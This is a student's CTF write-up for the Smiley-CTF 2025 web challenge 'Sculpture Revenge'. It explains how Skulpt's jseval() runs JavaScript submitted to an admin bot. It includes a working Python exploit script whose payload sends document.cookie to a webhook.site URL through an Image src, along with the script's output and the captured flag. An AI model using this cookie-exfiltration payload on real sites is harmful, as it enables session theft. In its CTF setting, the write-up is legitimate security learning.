Sculpture Revenge - Smiley-CTF 2025 Write-up
Sculpture Revenge - Smiley-CTF 2025 Write-up
Challenge: Sculpture Revenge
Category: Web
Points: 50
Introduction
This was a really interesting challenge that looked simple at first, but got confusing very quickly. As a student still learning web security and browser-based CTFs, I struggled a lot trying to understand how the client-side Python (Skulpt) engine and the bot worked together. I didn’t manage to solve it during the CTF, but I finally figured it out 10 minutes after the event ended (classic!).
We were given a few core files:
app.py
: A Flask web server that loads user Python code through Skulpt and includes a bot handler.index.html
: Frontend with embedded Skulpt to execute Python in the browser.Dockerfile
: Used to build the environment with Chrome, Flask, and dependencies.admin-bot-excerpt.js
: Describes the behavior of the admin bot, which injects the flag intolocalStorage
.
The goal was to steal a flag stored in localStorage
, which the bot sets when it visits our page. The bot uses a headless Chrome browser and injects a flag into localStorage
, then visits a URL with our Python code encoded in base64.
I spent a lot of time trying to inject malicious HTML using print()
and Skulpt, but the payloads kept breaking or not executing due to Quirks Mode or tag rendering issues. I also tried <script>
tags and fetch(...)
, but they didn’t reach my webhook. Eventually, I found out that Skulpt supports a jseval()
function that can run JavaScript directly from Python. This was the breakthrough.
After some experimenting, I realized I could use jseval()
to create an Image()
object in JavaScript and exfiltrate the cookie (which contains the flag) by setting the image src
to my webhook URL.
Here’s the final script that worked:
import base64
import requests
target_url = "<https://web-sculpture-revenge-<instances>.smiley.cat/>"
callback = "https://webhook.site/<yourwebhook>/?"
js_code = (
"jseval(\""
"let i = new Image();"
f"i.src='{callback}'+document.cookie;"
"\")"
)
encoded_payload = base64.b64encode(js_code.encode()).decode()
response = requests.get(f"{target_url}/bot?code={encoded_payload}")
print("[+] Payload sent!")
print("[*] Response:", response.text)
python tes.py
[+] Payload sent!
[*] Response: Bot executed successfully
and here pov from webhook.site
flag = .;,;.{we_love_cattle_no_flags_in_dist_trust_we_know_what_we_are_doing_yep}